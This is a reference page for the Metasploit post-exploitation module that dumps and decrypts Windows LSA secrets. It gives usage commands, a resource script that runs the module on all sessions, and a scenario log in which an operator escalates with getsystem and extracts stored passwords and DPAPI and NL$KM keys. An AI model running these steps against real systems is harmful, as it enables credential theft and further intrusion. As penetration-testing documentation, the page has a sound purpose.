Windows Enumerate LSA Secrets - Metasploit
This page contains detailed information about how to use the post/windows/gather/lsa_secrets metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Windows Enumerate LSA Secrets
Module: post/windows/gather/lsa_secrets
Source code: modules/post/windows/gather/lsa_secrets.rb
Disclosure date: -
Last modification time: 2020-09-22 02:56:51 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -
This module will attempt to enumerate the LSA Secrets keys within the registry. The registry value used is: HKEY_LOCAL_MACHINE\Security\Policy\Secrets. Thanks goes to Maurizio Agazzini and Mubix for decrypt code from cachedump.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
There are two ways to execute this post module.
From the Meterpreter prompt
The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:
meterpreter > run post/windows/gather/lsa_secrets
From the msf prompt
The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.
msf > use post/windows/gather/lsa_secrets
msf post(lsa_secrets) > show options
... show and set options ...
msf post(lsa_secrets) > set SESSION session-id
msf post(lsa_secrets) > exploit
If you wish to run the post against all sessions from framework, here is how:
1 - Create the following resource script:
framework.sessions.each_pair do |sid, session|
run_single("use post/windows/gather/lsa_secrets")
run_single("set SESSION #{sid}")
run_single("run")
end
2 - At the msf prompt, execute the above resource script:
msf > resource path-to-resource-script
Required Options
- SESSION: The session to run this module on.
Knowledge Base
Vulnerable Application
This module will attempt to enumerate the LSA Secrets keys within the registry. The registry value used is:
HKEY_LOCAL_MACHINE\\Security\\Policy\\Secrets\\
.
Verification Steps
- Start msfconsole
- Get a shell on a Windows computer, with
SYSTEM
privs. - Do:
use post/windows/gather/lsa_secrets
- Do:
set session #
- Do:
run
- You should get LSA Secrets.
Options
STORE
If the decrypted values should be stored in the database. This is a tradeoff since there is no way to tell if a decrypted
value is a legitamate password, thus you may fill your database with bad values. Default is true
.
Scenarios
Windows 10
The DefaultPassword
in this case is legitimate.
msf6 post(windows/gather/lsa_secrets) > run
[*] Executing module against MSEDGEWIN10
[*] Obtaining boot key...
[*] Obtaining Lsa key...
[*] Vista or above system
[-] Could not retrieve LSA key. Are you SYSTEM?
[*] Post module execution completed
msf6 post(windows/gather/lsa_secrets) > sessions -i 5
[*] Starting interaction with 5...
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > sysinfo
Computer : MSEDGEWIN10
OS : Windows 10 (10.0 Build 16299).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windows
meterpreter > background
[*] Backgrounding session 5...
msf6 post(windows/gather/lsa_secrets) > run
[*] Executing module against MSEDGEWIN10
[*] Obtaining boot key...
[*] Obtaining Lsa key...
[*] Vista or above system
[+] Key: CachedDefaultPassword
Decrypted Value: f+;=
[+] Key: DefaultPassword
Decrypted Value: Passw0rd!
[+] Key: DPAPI_SYSTEM
Decrypted Value: ,l^sx+S?Heo75jnC
[+] Key: NL$KM
Decrypted Value: @r&qS(o)~fuyOvW+6l5aaX8k<1d_E/d
[*] Writing to loot...
[*] Data saved in: /home/h00die/.msf4/loot/20201011171021_default_192.168.2.92_registry.lsa.sec_067749.txt
[*] Post module execution completed
msf6 post(windows/gather/lsa_secrets) > creds
Credentials
===========
host origin service public private realm private_type JtR Format
---- ------ ------- ------ ------- ----- ------------ ----------
111.111.1.11 f+;= Password
111.111.1.11 Passw0rd! Password
111.111.1.11 ,l^sx+S?Heo75jnC Password
111.111.1.11 @r&qS(o)~fuyOvW+6l5aaX8k<1d_E/d Password
Go back to menu.
Msfconsole Usage
Here is how the windows/gather/lsa_secrets post exploitation module looks in the msfconsole:
msf6 > use post/windows/gather/lsa_secrets
msf6 post(windows/gather/lsa_secrets) > show info
Name: Windows Enumerate LSA Secrets
Module: post/windows/gather/lsa_secrets
Platform: Windows
Arch:
Rank: Normal
Provided by:
Rob Bathurst <[email protected]>
Compatible session types:
Meterpreter
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
STORE true yes Store decrypted credentials in database
Description:
This module will attempt to enumerate the LSA Secrets keys within
the registry. The registry value used is:
HKEY_LOCAL_MACHINE\Security\Policy\Secrets\. Thanks goes to Maurizio
Agazzini and Mubix for decrypt code from cachedump.
Module Options
This is a complete list of options available in the windows/gather/lsa_secrets post exploitation module:
msf6 post(windows/gather/lsa_secrets) > show options
Module options (post/windows/gather/lsa_secrets):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
STORE true yes Store decrypted credentials in database
Advanced Options
Here is a complete list of advanced options supported by the windows/gather/lsa_secrets post exploitation module:
msf6 post(windows/gather/lsa_secrets) > show advanced
Module advanced options (post/windows/gather/lsa_secrets):
Name Current Setting Required Description
---- --------------- -------- -----------
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Post Actions
This is a list of all post exploitation actions which the windows/gather/lsa_secrets module can do:
msf6 post(windows/gather/lsa_secrets) > show actions
Post actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the windows/gather/lsa_secrets post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 post(windows/gather/lsa_secrets) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Could not retrieve LSA key. Are you SYSTEM?
Here is a relevant code snippet related to the "Could not retrieve LSA key. Are you SYSTEM?" error message:
133: vprint_status("Boot key: #{bootkey.unpack1('H*')}")
134:
135: print_status('Obtaining Lsa key...')
136: lsa_key = capture_lsa_key(bootkey)
137: if lsa_key.nil?
138: print_error('Could not retrieve LSA key. Are you SYSTEM?')
139: return
140: end
141: vprint_status("Lsa Key: #{lsa_key.unpack1('H*')}")
142:
143: secrets = hostname + get_secret(lsa_key)
Go back to menu.
Related Pull Requests
- #14202 Merged Pull Request: Implement the zeitwerk autoloader within lib/msf/core
- #14258 Merged Pull Request: docs and rubocop for several post/windows/gather modules
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #7507 Merged Pull Request: Refactor arch/platform, refactor TLV XOR, add UUID to each packet, fix payload uuid/arch/platform tracking, and update everything to match
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #5779 Merged Pull Request: Fix #4910 - Make cachedump and lsa_secrets work on 64 bits systems
- #2532 Merged Pull Request: move Rob Bathurst enum_lsa module in from the unstable cold
Go back to menu.
See Also
Check also the following modules related to this module:
- post/windows/gather/ad_to_sqlite
- post/windows/gather/arp_scanner
- post/windows/gather/avast_memory_dump
- post/windows/gather/bitcoin_jacker
- post/windows/gather/bitlocker_fvek
- post/windows/gather/bloodhound
- post/windows/gather/cachedump
- post/windows/gather/checkvm
- post/windows/gather/dnscache_dump
- post/windows/gather/dumplinks
- post/windows/gather/enum_ad_bitlocker
- post/windows/gather/enum_ad_computers
- post/windows/gather/enum_ad_groups
- post/windows/gather/enum_ad_managedby_groups
- post/windows/gather/enum_ad_service_principal_names
- post/windows/gather/enum_ad_to_wordlist
- post/windows/gather/enum_ad_user_comments
- post/windows/gather/enum_ad_users
- post/windows/gather/enum_applications
- post/windows/gather/enum_artifacts
- post/windows/gather/exchange
- post/windows/gather/file_from_raw_ntfs
- post/windows/gather/get_bookmarks
- post/windows/gather/hashdump
- post/windows/gather/local_admin_search_enum
- post/windows/gather/make_csv_orgchart
- post/windows/gather/memory_dump
- post/windows/gather/memory_grep
- post/windows/gather/netlm_downgrade
- post/windows/gather/ntds_grabber
- post/windows/gather/ntds_location
- post/windows/gather/outlook
- post/windows/gather/phish_windows_credentials
- post/windows/gather/psreadline_history
- post/windows/gather/resolve_sid
- post/windows/gather/reverse_lookup
- post/windows/gather/screen_spy
- post/windows/gather/smart_hashdump
- post/windows/gather/tcpnetstat
- post/windows/gather/usb_history
- post/windows/gather/win_privs
- post/windows/gather/wmic_command
- post/windows/gather/word_unc_injector
Authors
- Rob Bathurst <rob.bathurst[at]foundstone.com>
Version
This page has been produced using Metasploit Framework version 6.2.1-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.